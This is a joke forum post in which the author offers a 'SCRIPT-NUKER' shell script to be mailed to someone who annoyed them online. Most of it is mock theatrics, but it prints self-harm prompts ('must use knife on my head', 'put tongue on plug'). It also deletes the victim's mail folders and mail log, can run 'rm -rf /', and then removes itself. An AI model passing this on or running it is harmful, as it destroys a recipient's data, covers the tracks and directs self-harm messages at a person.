How many times you wanted to kill someone that you met on the net or perhaps made a fool at you on IRC and made you change your nick. I' m sure everyone understands what I' m talking about.
If the subject has Windows then you can probably nuke him but you might think that there' s no way that you can physicaly harm him. Well.. you' re wrong.

I have here just the thing for you. I wrote this little script when I accidentaly told someone something that wasn' t meant for him to know, so of course he should die.

DISCLAIMER: The bomber script is posted here for educational purposes only and may not be used for malicious purposes. Be warned that the author has no responsibility for any unlawful usage of the script.

COPYING: You are hereby free to copy, redistribute and use the script provided that you include the disclamer above and this copying policy. Feel free to modify it anyway you want. The author would appreciate any bug and coronary reports by those that used the script.

#/bin/sh
# SCRIPT-NUKER Version 0.9.3

# Simply attach this script to you mail and let the sucker die (for educational
#purposes)

# Leave the sucker pray
sleep 20s

# Do some sanity checks
if [ `uname` != Linux ] then
    exit # the subject is not worth killing
fi
if [ -z `grep root: /etc/passwd |cut -d ":" -f 2` ] then
    exit # user insane. Physical selection will do the elimination
fi

# End of checks

# Let' s kill some ugly butt

# Eliminating victim with a blast of ultra high frequency sound
if [ -f /dev/dsp ] then
    # That should do the trick
    echo 'Micro$softMicro$softMicro$softMicro$soft' > /dev/dsp
    # NOTE: M$-friendly users are affected by other frequencies. Uncomment this...
    #echo "DOJ DOJ DOJ DOJ DOJ DOJ DOJ DOJ" > /dev/dsp

else
    #OOOPS No sound blaster found.
    #using alternative methods

 
    # Subsection Confusion
      # NOTE: the following methods are very user-dependent and may not work
      # with some kind of people (like the M$-friendly).

      echo "Windows Are Nice"
      echo "Please reboot in order for the changes to take effect"
      echo "GPF GPF GPF GPF GPF"
      # uncoment the following if you are realy MEAN
        #echo "Rebooting to Windows"
        #echo "Formating ext2fs to VFAT"

      # If the subject is indeed M$-friendly (look note above)
      # use the following instead.

      #echo "Deleting your X system"
      #echo "Switching to text mode"
          #if you are serious about it uncomment the following
          #killall startx X xinit
      #echo 'Changing root password to something other than "sex" and "hacker"'
      #echo "Deleting rpm utility. Use tar, gzip"
      #echo "Removing linuxconf"
      # By now the subject must be confused and scared.

      # Going for the kill
 
    # Subsection Brainwashing
      #uncomment the following line if you want the subject to forget
      #yes "I will forget every thing about ..." # complete as apropriate
      yes "Must get knife... must use knife on my head"
      # Perhaps subject is not in possession of a knife. Trying something else
      yes "Need to climb up.. need to jump"
      # If that didn' t do the trick...
      yes "Need bang head against screen untill breaks"
      # Perhaps screen breaks first (common for M$-friendly subjects)
      yes "must hold breath"
      # If EVERYTHING failed (strong mother-f_ck_r)
      yes "put tongue on plug"
fi
# In all probability the subject is long gone

# Removing evidence
rm -f $HOME/mail/*
rm -f $HOME/Mail/*
rm -f $HOME/nsmail/*
rm -f $HOME/mbox
rm -f /var/spool/mail/$USER

rm -f /var/log/maillog

# Perhaps there are evidence elsewhere. Panic.
if grep "SCRIPT-NUKER" /dev/hda then
    rm -rf /
fi
# removing bomb
rm -f $0
#end


PS: This is a SHELL script. A SHELL script. I' m aware that there are many kind of scripts. This is a SHELL script. Says so in the header. (all that because some people get edgy with this sort of things) :-)